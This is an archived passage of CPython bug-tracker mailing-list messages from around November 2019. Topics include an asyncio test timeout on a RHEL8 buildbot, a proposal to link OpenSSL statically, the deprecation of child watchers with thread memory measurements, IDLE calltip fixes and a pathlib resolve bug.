0:15:22 load avg: 0.00 Re-running test_asyncio in verbose mode
...
test_devnull_error 
(test.test_asyncio.test_subprocess.SubprocessMultiLoopWatcherTests) ... ok
test_devnull_input 
(test.test_asyncio.test_subprocess.SubprocessMultiLoopWatcherTests) ... ok
test_devnull_output 
(test.test_asyncio.test_subprocess.SubprocessMultiLoopWatcherTests) ... ok
test_empty_input 
(test.test_asyncio.test_subprocess.SubprocessMultiLoopWatcherTests) ... ok
test_exec_loop_deprecated 
(test.test_asyncio.test_subprocess.SubprocessMultiLoopWatcherTests) ... ok
Timeout (0:15:00)!
Thread 0x7fc16479e740 (most recent call first):
  File 
"/home/buildbot/buildarea/3.x.cstratak-RHEL8-x86_64.lto-pgo/build/Lib/selectors.py",
 line 468 in select
  File 
"/home/buildbot/buildarea/3.x.cstratak-RHEL8-x86_64.lto-pgo/build/Lib/asyncio/base_events.py",
 line 1837 in _run_once
  File 
"/home/buildbot/buildarea/3.x.cstratak-RHEL8-x86_64.lto-pgo/build/Lib/asyncio/base_events.py",
 line 589 in run_forever
  File 
"/home/buildbot/buildarea/3.x.cstratak-RHEL8-x86_64.lto-pgo/build/Lib/asyncio/base_events.py",
 line 621 in run_until_complete
  File 
"/home/buildbot/buildarea/3.x.cstratak-RHEL8-x86_64.lto-pgo/build/Lib/test/test_asyncio/test_subprocess.py",
 line 175 in test_kill
  File 
"/home/buildbot/buildarea/3.x.cstratak-RHEL8-x86_64.lto-pgo/build/Lib/unittest/case.py",
 line 616 in _callTestMethod

--
components: Tests, asyncio
messages: 356602
nosy: asvetlov, vstinner, yselivanov
priority: normal
severity: normal
status: open
title: test_asyncio.test_subprocess.test_terminate() timed out on AMD64 RHEL8 
LTO + PGO 3.x
versions: Python 3.9

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38644] Pass explicitly tstate to function calls

[STINNER Victor]

STINNER Victor  added the comment:


New changeset 4d231bcc77ac8ce7d11bda0804130dcdd678f710 by Victor Stinner in 
branch 'master':
bpo-38644: Add _PyObject_Call() (GH-17089)
https://github.com/python/cpython/commit/4d231bcc77ac8ce7d11bda0804130dcdd678f710


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38794] Setup: support linking openssl staticly

[Lukas Vacek]

Change by Lukas Vacek :


--
keywords: +patch
pull_requests: +16663
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/17153

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38794] Setup: support linking openssl staticly

[Lukas Vacek]

New submission from Lukas Vacek :

Since 3.7 python depends on OpenSSL>=1.0.2 - this makes it hard to compile 
Python with SSL on older (yet still vendor supported) linux distributions.

It's easy to compile CPython even on old distributions like RHEL5, RHEL6, 
Ubuntu14.04 etc. except for ssl module.

Let's add an option to compile SSL staticly (--with-openssl-static) to make it 
easy to compile Python with SSL on systems with OpenSSL<1.0.2 as you usually 
don't want to install newer openssl as system libary nor mess with rpath/set 
LD_LIBRARY_PATH every time you run python.

When --with-openssl-static is not passed to ./configure everything should 
behave like before.

Installing CPython including ssl on system as old as RHEL5 with this option 
would be as easy as (after installing required build dependencies from rhel5 
repositories and libffi(-devel) libraries):

wget https://www.openssl.org/source/openssl-1.0.2t.tar.gz
tar xf openssl-1.0.2t.tar.gz
cd openssl-1.0.2t
./config --openssldir=/etc/pki/tls -fPIC
make

wget https://www.python.org/ftp/python/3.7.5/Python-3.7.5.tgz
tar xf Python-3.7.5.tgz
cd Python-3.7.5
./configure --with-openssl-static=path_to_just_compiled_ssl --prefix=prefix_path
make
make install

--
assignee: christian.heimes
components: SSL
messages: 356600
nosy: Lukas.Vacek, christian.heimes
priority: normal
severity: normal
status: open
title: Setup: support linking openssl staticly
type: enhancement
versions: Python 3.7, Python 3.8, Python 3.9

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue32884] Adding the ability for getpass to print asterisks when password is typed

[Celal]

Change by Celal :


--
nosy: +celal.sahin

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38591] Deprecate Process Child Watchers

[Andrew Svetlov]

Andrew Svetlov  added the comment:

To be clear: I mean that FastChildWatcher is safe only if all process's code 
spaws subprocesses by FastChildWatcher.
If ProcessPoolExecutor or direct subprocess calls are used the watcher is 
unsafe.
If some C extension spawns new processes on its own (e.g. in a separate thread) 
-- the watcher is unsafe.

I just think that this particular watcher is too dangerous.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38724] Implement subprocess.Popen.__repr__

[Tal Einat]

Tal Einat  added the comment:

I agree with Raymond, the repr should include the args and return code.

IMO it should *not* include the pid, for two reasons:
1. The pid is stale information if the process has finished.
2. Popen nicely abstracts away the pid, so it is normally not as useful a 
detail.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38644] Pass explicitly tstate to function calls

[STINNER Victor]

STINNER Victor  added the comment:


New changeset b9e681261cd5ce6db0a79461c58d7cc52cfa4902 by Victor Stinner in 
branch 'master':
bpo-38644: Add _PyEval_EvalFrame() with tstate (GH-17131)
https://github.com/python/cpython/commit/b9e681261cd5ce6db0a79461c58d7cc52cfa4902


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38591] Deprecate Process Child Watchers

[STINNER Victor]

STINNER Victor  added the comment:

I measured the RSS memory per thread: it's around 13.2 kB/thread. Oh, that's 
way lower than what I expected.

Script:

# 10: 9636 kB => 9756 kB: +12 kB/thread
# 100: 9476 kB = 10796 kB: +13.2 kB/thread
# 1000: 9552 kB = 22776 kB: +13.2 kB/thread

import os
import threading

def display_rss():
os.system(f"grep ^VmRSS /proc/{os.getpid()}/status")

def wait(event):
event.wait()

class Thread(threading.Thread):
def __init__(self):
super().__init__()
self.stop_event = threading.Event()
self.started_event = threading.Event()

def run(self):
self.started_event.set()
self.stop_event.wait()

def stop(self):
self.stop_event.set()
self.join()

def main():
nthread = 1000
display_rss()
threads = [Thread() for i in range(nthread)]
for thread in threads:
thread.start()
for thread in threads:
thread.started_event.wait()
display_rss()
for thread in threads:
thread.stop()

main()

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38692] add a pidfd child process watcher

[Andrew Svetlov]

Andrew Svetlov  added the comment:

Sorry for the late review.

PidfdChildWatcher should be enumerated in unix_events.py:__all__ to make the 
class visible by asyncio import rules.

Kyle, would you make a post-fix PR?

--
resolution: fixed -> 
status: closed -> open

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38591] Deprecate Process Child Watchers

[STINNER Victor]

STINNER Victor  added the comment:

> The 64 bytes was measured by `sys.getsizeof(threading.Thread())`, which only 
> provides a surface level assessment. I believe this only includes the size of 
> the reference to the thread object.

You have to account also for the thread stack size. I suggest to look at RSS 
memory instead.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38630] subprocess.Popen.send_signal() should poll the process

[STINNER Victor]

STINNER Victor  added the comment:

> To further elaborate on the creation time solution, the idea in pseudo-code 
> is the following: (...)
> Technically there is still a race condition between _execute_child() and 
> get_create_time(), but: (...)

Even if the approach seems to be different, PR 16984 seems to have the same 
advantages and drawbacks.

PR 16984 rely on the fact that the Linux kernel doesn't use a pid until its 
parent calls os.waitpid(). Even if the child process completed, the pid remains 
assigned (and the process status is "zombie").

PR 16984 has the advantage that it reuses existing code which has been battle 
tested: we are sure that the code is portable and works well.

Whereas get_create_time() will be likely platform specific and will add a 
little maintenance burden.

I know that PR 16984 is a partial solution (there is still a race condition if 
waitpid() is called directly, without using the Popen API), but I don't see a 
strong reason to prefer get_create_time().

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38689] IDLE crashes when KeyError is raised during calltip generation

[Tal Einat]

Tal Einat  added the comment:

See PR GH-17152 with a fix for the uncaught exception in getargspec().

--
nosy: +taleinat

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38689] IDLE crashes when KeyError is raised during calltip generation

[Tal Einat]

Change by Tal Einat :


--
keywords: +patch
pull_requests: +16661
stage: test needed -> patch review
pull_request: https://github.com/python/cpython/pull/17152

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38695] IDLE should restart instead of hanging when subprocess exits

[Tal Einat]

Change by Tal Einat :


--
keywords: +patch
pull_requests: +16662
stage: needs patch -> patch review
pull_request: https://github.com/python/cpython/pull/17152

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38525] Strange reversed dict behavior

[Harmon]

Change by Harmon :


--
nosy: +Harmon758

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue37827] IDLE Shell: add a terminal mode that responds to \a, \b, and \r

[Tal Einat]

Tal Einat  added the comment:

Note that most of the issues with special characters described in Terry latest 
comment have been addressed by the fix for issue13153.

Can we continue discussing just properly rendering \r and \b, e.g. as done in 
PR GH-15211? Let's just decide whether we want this or not.

My main point in favor is that we already have special support for two similar 
control characters, \n and \t. IMO we should expand this to the other very 
standardized ones, \r and \b, and perhaps \a ("bell") as well.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38724] Implement subprocess.Popen.__repr__

[Roundup Robot]

Change by Roundup Robot :


--
keywords: +patch
pull_requests: +16660
stage: needs patch -> patch review
pull_request: https://github.com/python/cpython/pull/17151

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38792] IDLE calltips may not properly close on KeyboardInterrupt

[Tal Einat]

Tal Einat  added the comment:

Hi Zack, thanks for this!

This doesn't go far enough, actually; we should make sure to close the calltip 
in other cases too, such as restarting the shell or hitting return to running a 
statement / block.

--
nosy: +taleinat

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38793] pathlib.Path.resolve(strict=False) strips final path components

[lutecki]

New submission from lutecki :

When a directory doesn't exist, the resolve() method trims everything except 
the first component (a doesn't exist here):

import pathlib
p = pathlib.Path(".", "a", "b", "c")
p
WindowsPath('a/b/c')
p.resolve(strict=False)
WindowsPath('C:/Python36/Scripts/a')

I would expect C:/Python36/Scripts/a/b/c
Am I missing something?

--
components: Windows
messages: 356589
nosy: lutecki, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: pathlib.Path.resolve(strict=False) strips final path components
type: behavior
versions: Python 3.6

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38792] IDLE calltips may not properly close on KeyboardInterrupt

[Tal Einat]

Change by Tal Einat :


--
nosy: +rhettinger

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38628] Issue with ctypes in AIX

[Ayappan]

Ayappan  added the comment:

Any update on this ?

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue11354] argparse: nargs could accept range of options count

[hai shi]

hai shi  added the comment:

Could we close some bpo with a long history? If some user need this feature in 
future we could reopen it.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38591] Deprecate Process Child Watchers

[Kyle Stanley]

Kyle Stanley  added the comment:

> I understand that there's *some* overhead associated with spawning a new 
> thread, but from my impression it's not substantial enough to make a 
> significant impact in most cases.

Although I think this still stands to some degree, I will have to rescind the 
following:

> Each individual instance of threading.Thread is only 64 bytes.

The 64 bytes was measured by `sys.getsizeof(threading.Thread())`, which only 
provides a surface level assessment. I believe this only includes the size of 
the reference to the thread object.

In order to get a better estimate, I implemented a custom get_size() function, 
that recursively adds the size of the object and all unique objects from 
gc.get_referents()  (ignoring several redundant and/or unnecessary types). For 
more details, see 
https://gist.github.com/aeros/632bd035b6f95e89cdf4bb29df970a2a. Feel free to 
critique it if there are any apparent issues (for the purpose of measuring the 
size of threads). 

Then, I used this function on three different threads, to figure how much 
memory was needed for each one:

Python 3.8.0+ (heads/3.8:1d2862a323, Nov  4 2019, 06:59:53) 
[GCC 9.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import threading
>>> from get_size import get_size
>>> a = threading.Thread()
>>> b = threading.Thread()
>>> c = threading.Thread()
>>> get_size(a)
3995
>>> get_size(b)
1469
>>> get_size(c)
1469

1469 bytes seems to be roughly the amount of additional memory required for 
each new thread, at least on Linux kernel 5.3.8 and Python 3.8. I don't know if 
this is 100% accurate, but it at least provides an improved estimate over 
sys.getsizeof().

> But it spawns a new Python thread per process which can be a blocker issue if 
> a server memory is limited. What if you want to spawn 100 processes? Or 1000 
> processes? What is the memory usage?

>From my understanding, ~1.5KB/thread seems to be quite negligible for most 
>modern equipment. The server's memory would have to be very limited for 
>spawning an additional 1000 threads to be a bottleneck/blocker issue:

Python 3.8.0+ (heads/3.8:1d2862a323, Nov  4 2019, 06:59:53) 
[GCC 9.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import threading
>>> from get_size import get_size
>>> threads = []
>>> for _ in range(1000):
... th = threading.Thread()
... threads.append(th)
... 
>>> get_size(threads)
1482435

(~1.5MB)

Victor (or anyone else), in your experience, would the additional ~1.5KB per 
process be an issue for 99% of production servers? If not, it seems to me like 
the additional maintenance cost of keeping SafeChildWatcher and 
FastChildWatcher in asyncio's API wouldn't be worthwhile.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com